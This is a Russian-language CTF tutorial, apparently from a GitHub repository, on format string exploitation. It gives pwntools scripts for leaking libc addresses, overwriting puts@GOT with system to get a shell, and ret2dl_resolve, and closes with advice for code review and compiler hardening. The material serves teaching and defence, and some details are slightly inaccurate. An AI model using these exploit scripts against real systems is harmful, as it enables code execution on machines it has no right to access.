Источник: https://github.com/AnaktaCTF/CTF/blob/main — PWN/Format_String_Exploitation.md
В PWN задачах и при аудите приложений форматные уязвимости занимают особое место из за своей универсальности: они позволяют осуществлять как утечку конфиденциальных данных из памяти процесса (leak), так и произвольную запись данных (write what where). В этой статье подробно рассмотрены механизмы работы функций семейства printf, особенности ABI varargs на x86_64, примеры распространённых атак, обходы современных защит и полный разбор эксплойта «с нуля до shell’а».
1. Понимание varargs и ABI
Функции, принимающие переменное число аргументов (varargs), не проверяют на этапе компиляции соответствие количества спецификаторов в формате и переданных параметров. В соответствии с System V AMD64 ABI, первые шесть целочисленных аргументов передаются через регистры RDI, RSI, RDX, RCX, R8, R9, а остальные — через стек. Когда спецификатор требует аргумент, а компилятор его не передал, printf «достаёт» значение из стека, что и обеспечивает leak.
2. Форматная строка: разбор спецификаторов
| Спецификатор | Функциональность | Пояснения |
|---|---|---|
%d / %i |
Signed integer | Зависит от переданного аргумента |
%u |
Unsigned integer | Точно 4 (или 8) байт на x86_64 |
%x / %X |
Hex без знака | Полезно для чтения слов со стека |
%p |
Pointer | Всегда трактует аргумент как (void*) и печатает 64‑битный адрес |
%s |
C строка | Читает указатель из стека и печатает до \0 |
%c |
Символ | Печатает символ по числовому коду |
%n |
Запись кол‑ва байт | Записывает 4/8‑байтовое значение в указатель |
%hn |
Младшие 2 байта | Запись 16 бит |
%hhn |
Младший байт | Запись 8 бит |
| Width / Precision | %10s, %.8x, %-5d |
Управление минимальной шириной и точностью |
Дополнительные флаги (+, #, 0) и длины (l, ll) позволяют точно настраивать поведение вывода, что критично при работе с %n.
3. Leak через %x, %p, %s: поиск и извлечение указателей
В этом разделе мы подробно разберём, как с помощью форматных спецификаторов получать из процесса важные указатели — например, return‑address и адреса функций в libc.
3.1 Простейший пример
#include <stdio.h>
int main() {
char buf[100];
fgets(buf, sizeof(buf), stdin);
printf(buf); // Небезопасно: форматная строка — пользовательский ввод
return 0;
}
Что происходит?
• fgets записывает до 99 байт из stdin в buf, добавляя \0;
• printf(buf); воспринимает содержимое buf как форматную строку;
• спецификаторы %x, %p, %s в этой строке «хватают» из места вызова printf данные из регистров/стека (return‑address, сохранённые rbp, аргументы в регистрах и на стеке).
Пример запуска
$ echo -e "AAAA %08x %08x %08x" | ./leak
AAAA 41414141 deadbeef 7fffffffe2b0
• 41414141 — ASCII‐коды символов AAAA;
• последующие 4‑байтные значения — слова, считанные из стека.
3.2 Автоматизация поиска индекса
Чтобы узнать, какой по счёту аргумент содержит нужный нам указатель, используем конструкцию %<i>$p:
from pwn import process
p = process("./leak")
for i in range(1, 16):
payload = f"%{i}$p".encode() # “i-ый аргумент как указатель”
p.sendline(payload)
out = p.recvline().strip()
print(f"{i:2d}: {out}")
p.close()
%{i}$p заставляет printf взять i‑ый аргумент и распечатать его как (void*) (обычно 16‑значный hex с префиксом 0x).
В результате можно увидеть таблицу:
1: 0x7ffff7dd18a0 ← часто адрес libc
2: 0x41414141
3: 0x7fffffffe2b0 ← возможно, return‑address
...
По характеру значений можно определить, какой индекс даёт утечку нужного адреса.
3.3 Извлечение и расчёт base libc
После того как был найден индекс i, делающий leak, собираем полный эксплойт:
from pwn import process, ELF, u64
# 1. Запускаем уязвимую программу
p = process("./leak")
# 2. Получаем утечку: i-й аргумент как строка вида b'0x7ffff7dd18a0'
i = 1 # замените на ваш найденный индекс
p.sendline(f"%{i}$p".encode())
leak_line = p.recvline().strip()
leak = int(leak_line, 16) # Преобразуем hex-строку в число
# 3. Загружаем локальную libc для получения оффсетов
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_off = libc.symbols['puts'] # например, 0x080890
# 4. Считаем базу
libc_base = leak - puts_off
print(f"[+] libc_base = {hex(libc_base)}")
# 5. Вычисляем нужные адреса
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
print(f"[+] system = {hex(system_addr)}")
print(f"[+] free_hook= {hex(free_hook)}")
p.close()
Таким образом, методика Leak → Calc Base → Далее exploit‑chain лежит в основе большинства форматных атак.
4. Произвольная запись через %n, %hn: дробление 64 бит
4.1 Запись единственного числа
int tgt=0;
printf("ABCD%n", &tgt);
// 'ABCD' = 4 байта, теперь tgt==4
В этом примере спецификатор %n записывает в переменную tgt количество уже выведенных байт. Каждая буква в строке "ABCD" учитывается автоматически, и после выполнения printf значение tgt становится равным четырём. Такой приём позволяет быстро и просто записывать в память небольшие числа, но при необходимости записи больших значений одного %n уже недостаточно.
4.2 Контроль вывода для нужного value
Для записи 1000 байт:
printf("%1000x%7$n", &tgt);
Здесь используется ширина поля вывода: %1000x сначала выводит переданное число (или ноль) в шестнадцатеричном виде, дополняя слева пробелами до общей длины в тысячу символов. По завершении этого фрагмента счётчик выведённых байт достигает ровно 1000, и спецификатор %7$n берёт указатель, переданный седьмым аргументом, и записывает туда текущее значение счётчика. Таким образом, управление шириной позволяет задать любое нужное значение для последующей записи.
4.3 Дробление и order of operations
Чтобы записать 64 бит адрес, используют два указателя и %hn:
addr_low = system_addr & 0xffff
addr_hi = (system_addr >> 16) & 0xffff
printf("%{low}x%7$hn%{delta}x%8$hn", &got, &got+2)
Для записи полного 64‑битного адреса его сначала разбивают на младшие и старшие 16 бит. Значение addr_low указывает, сколько символов нужно вывести до первого %hn, а delta высчитывается таким образом, чтобы после второго кусочка вывода счётчик достиг addr_hi. Функция printf обрабатывает спецификаторы слева направо: сначала она выводит ровно addr_low пробелов, выполняет запись младших 16 бит по адресу got, затем дополняет вывод delta пробелами и сохраняет старшие 16 бит по адресу got + 2. Благодаря накопительному поведению счётчика и строгому порядку выполнения описанная схема гарантирует точную поэтапную запись всего 64‑битного значения.
5. Перезапись GOT: partial RELRO
В ELF‑бинарях механизм динамической линковки организован через две взаимосвязанные структуры: PLT (Procedure Linkage Table) и GOT (Global Offset Table). При первой попытке вызвать внешнюю функцию из библиотеки процессор попадает в PLT‑заглушку, которая обращается к соответствующей записи в GOT. В режиме partial RELRO сам сегмент GOT остаётся доступным для записи, что позволяет менять адреса подтягиваемых функций «на лету».
Чтобы перенаправить вызов puts() на system(), нужно выполнить три шага. Сначала мы утекаем текущее значение puts@GOT через уязвимый printf. Далее, зная смещение puts и system внутри libc, находим базовый адрес библиотеки и вычисляем точный адрес system в памяти процесса. Последним шагом служит формирование payload‑а, который перезапишет запись GOT, и вызов puts() превратится в вызов system().
Ниже приведён пример эксплойта на Python с использованием pwntools:
from pwn import *
# Загружаем ELF‑образ уязвимой программы и локальную libc
elf = ELF('vuln')
libc = ELF('libc.so.6')
# Запускаем процесс
p = process(elf.path)
# 1) Утечка адреса puts через форматную строку
# %7$s читает седьмой аргумент как строку
# и печатает содержимое по адресу elf.got['puts']
p.sendline(b"%7$sEND" + p64(elf.got['puts']))
raw_leak = p.recvuntil(b"END")[:-3]
leak = u64(raw_leak.ljust(8, b"\x00"))
# 2) Вычисляем базовый адрес libc
# реальный puts = libc_base + libc.symbols['puts']
libc_base = leak - libc.symbols['puts']
# 3) Готовим payload: перезапись elf.got['puts'] на адрес system
system_addr = libc_base + libc.symbols['system']
payload = fmtstr_payload(
offset = 6, # смещение, с которого начинаются наши указатели
writes = { elf.got['puts']: system_addr },
write_size = 'short' # дробим запись на 2‑байтовые половины автоматически
)
# Отправляем готовый payload и получаем интерактивную консоль
p.sendline(payload)
p.sendline(b"/bin/sh")
p.interactive()
В этом коде функция fmtstr_payload берёт на себя сложность разбивки 64‑битного адреса на части и вычисления необходимых значений для %hn. После отправки такого payload‑а любая последующая строка вида puts("…") будет фактически вызовом system("…"), а значит команда "/bin/sh" приведёт к появлению шелла.
6. Full RELRO: ret2dl_resolve и fake structures
Когда в бинаре включён full RELRO, сегмент GOT помечается как read‑only сразу после загрузки, и простая перезапись записей через %n уже не работает. В таких случаях на помощь приходит трюк ret2dl_resolve, который заставляет динамический загрузчик (ld‑linux.so) самому «дописать» нужный адрес в GOT, используя механизм ленивой линковки через PLT[0].
Вся идея складывается из трёх этапов. Сначала мы резервируем в памяти процесса место для своих «фейковых» структур — одной или нескольких записей типа Elf64_Rela (релокация) и соответствующих символов Elf64_Sym, а также строки с именем функции ("system\0"). Эти структуры нужно расположить так, чтобы динамический загрузчик считал их настоящими записями в таблице .rela.plt.
Затем мы формируем стандартный вызов через PLT, но вместо адреса нужного символа указываем смещение на нашу фейковую Elf64_Rela. Таким образом, поток выполнения попадёт не в «обычный» PLT-заполнитель, а в PLT[0], который обрабатывает релокацию: он читает из .rela.plt запись по индексу, извлекает из неё смещение в GOT и добавляет туда значение, вычисленное по нашим данным. После этого управление возвращается уже в PLT‑entry той функции, чей адрес мы подменили, и она выполняется с новыми правами.
Ниже — пример эксплойта на Python с pwntools и Ret2dlresolvePayload, который инкапсулирует всю логику:
from pwn import *
# Загружаем ELF‑образ и отключаем проверку секюрити‑флагов
elf = ELF('./vuln', checksec=False)
# Строим ROP-цепочку и payload для ret2dl_resolve
rop = ROP(elf)
dl = Ret2dlresolvePayload(
elf, # ELF‑объект
symbol='system', # имя функции, которую хотим вызвать
args=['/bin/sh'] # аргументы для system()
)
# ROP-цепочка:
# 1) вызываем read, чтобы записать наши fake‑структуры в .bss
# 2) прыгаем в PLT[0] с индексом dl.reloc_index
rop.call(elf.plt['read'], [0, dl.data_addr, len(dl.data)])
rop.raw(dl.payload) # здесь лежат наши Elf64_Rela, Elf64_Sym, строка "system"
rop.call(elf.plt[0], [dl.reloc_addr]) # PLT[0] + смещение на нашу релокацию
# Собираем окончательный payload и отправляем в процесс
offset = cyclic_find('kaaa') # например, смещение до return‑address
payload = flat(
b'A' * offset,
rop.chain()
)
p = process(elf.path)
p.send(payload)
p.send(dl.data) # данные для read()
p.interactive()
Таким образом, Ret2dl_resolve позволяет обойти полную защиту RELRO, подменив не GOT напрямую, а заставив загрузчик сделать это за нас.
7. Bypass PIE: вычисление base адреса бинаря
Исполняемые файлы с PIE загружаются по рандомному адресу:
printf("RA=%p", __builtin_return_address(0));
Получив RA, отнимаем известный оффсет функции в бинаре, получаем base. Дальнейшие обращения к секциям .text, GOT строятся от base.
8. Интеграция с heap-exploitation и pointer mangling
В последних версиях glibc для защиты кучи добавлены pointer mangling (шарнирное XOR‑шифрование указателей) и Safe‑unlinking (проверки целостности соседних блоков). Тем не менее форматные уязвимости позволяют обойти эти механизмы, если объединить их с традиционными техниками heap‑exploit:
-
Leak
main_arenaчерез%s
Используя форматную строку с правильным индексом, можно прочитать из глобальных структур libc (например, из_IO_list_allили__malloc_hook) указатель наmain_arena. Зная смещение внутриmain_arena, вычисляют адреса важных полей (fastbins,__free_hook,__malloc_hook) для дальнейшей атаки. -
Точная запись в
__free_hook/__malloc_hookчерез%n
После получения базовой области кучи форматная строка управляемо записывает адрес желаемой функции (например,system) в одну из «hook»‑переменных. Важно дробить 64‑битный адрес на 16‑битные части и учитывать накопленный счётчик вывода, чтобы обойти pointer mangling. -
Совмещение OOB‑переполнения и write‑what‑where для обхода проверок
Pointer mangling и Safe‑unlinking проверяют, что связки «предыдущий/следующий» указатели корректно зашифрованы и принадлежат той же арене. Если сначала вызвать небольшое heap OOB‑переполнение (например, в соседнем чанке) и тем самым сместить или раскрыть указатель arena, а затем уже применить форматную запись, можно подменить «hook» без триггера защитных проверок.
В итоге, комбинируя утечку через %s, точечную запись через %n и предварительную heap‑манипуляцию, удаётся не только обойти современные mitigations glibc, но и перенаправить управление на произвольный код.```
9. Инструменты и библиотеки
-
pwntools
Универсальная Python‑библиотека для pwn‑эксплойтов: умеет управлять процессами, соединяться по сети, подбирать смещения и генерировать сложные форматные payload‑ы. В частности, функцииfmtstr_payloadиRet2dlresolvePayloadавтоматизируют дробление 64‑битных записей и построение структур дляret2dl_resolve, что экономит массу ручной работы. -
LibFormatString
Фреймворк для анализа форматных уязвимостей: автоматически ищет потенциальные места для leak’а и write‑what‑where, строит таблицу смещений и визуализирует, какие спецификаторы на каком индексе дадут нужный результат. Хорошо интегрируется в CI‑цепочки и может применять шаблоны под разные версии libc. -
radare2 / Ghidra / IDA
Интерактивные дизассемблеры и отладчики, помогающие находить в ELF‑файле оффсеты секций.got,.plt, символов libc и структурElf64_Sym/Elf64_Rela.- radare2 с командой
is~putsиiSjбыстро покажет адреса и реляции. - Ghidra позволяет визуально просматривать структуру секций
.dynsymи.rela.plt. - IDA Pro облегчает работу с ROP‑гаджетами и анализ varargs.
- radare2 с командой
10. Защиты и рекомендации по код‑ревью
Ниже — основные практики, которые помогут избежать форматных уязвимостей ещё на этапе разработки и обеспечить их своевременное обнаружение:
-
Явное форматирование всех вызовов printf‑семейства
Никогда не передавайте пользовательские строки напрямую в функции с varargs. Всегда используйте строковые литералы, чётко задавая спецификаторы и типы ожидаемых аргументов. Это исключает возможность попадания лишних%‑спецификаторов и обеспечивает строгую типизацию входных данных. -
Включение и настройка флагов компилятора и линковщика
- Stack Protector (
-fstack-protector-strong): защищает от переполнения буфера локальных переменных. - PIE / RELRO (
-fPIE -pieи-Wl,-z,relro,-z,now): делает исполняемый файл позиционно-независимым и фиксирует таблицу GOT сразу после загрузки. - Fortify Source (
-D_FORTIFY_SOURCE=2/3): добавляет проверки безопасных версий строковых и буферных операций.
Каждый из этих флагов существенно усложняет эксплуатацию уязвимостей форматной строки в продакшн‑коде.
- Stack Protector (
-
Аудит всех вызовов varargs‑функций
При ревью особое внимание уделяйте любым вызовамprintf,fprintf,sprintf,vsnprintfи т.п. Проверьте, чтобы количество спецификаторов в формате строго соответствовало числу передаваемых аргументов, а форматные строки не собирались конкатенацией пользовательских данных. Используйте скрипты или статические анализаторы (например, gcc‑warnings, cppcheck), чтобы автоматически выявлять подозрительные места. -
Динамический анализ и fuzz‑тестирование форматных строк
Включите в CI‑pipeline fuzz‑фреймворки (AFL, libFuzzer, honggfuzz) или специализированные инструменты для генерации форматных payload‑ов. Автоматизированное тестирование с рандомизированными строками, содержащими различные комбинации%, поможет обнаружить неожиданные сценарии чтения и записи в память. -
Контроль сторонних библиотек и модулей
Если в проекте используются внешние плагины или скрипты, обязательно проверяйте их на предмет нестандартного использования функций varargs. Даже одна уязвимая библиотека может стать входной точкой для атаки на всё приложение.
11. Вывод
Форматные уязвимости открывают доступ к тонкому управлению памятью и динамической линковкой, позволяя извлекать скрытые указатели и выполнять произвольную запись «write‑what‑where». Глубокое понимание работы спецификаторов, механизма varargs, структуры ELF и современных защит glibc превращает этот класс атак в надёжный инструмент при решении сложных PWN‑задач и помогает создавать более безопасные приложения.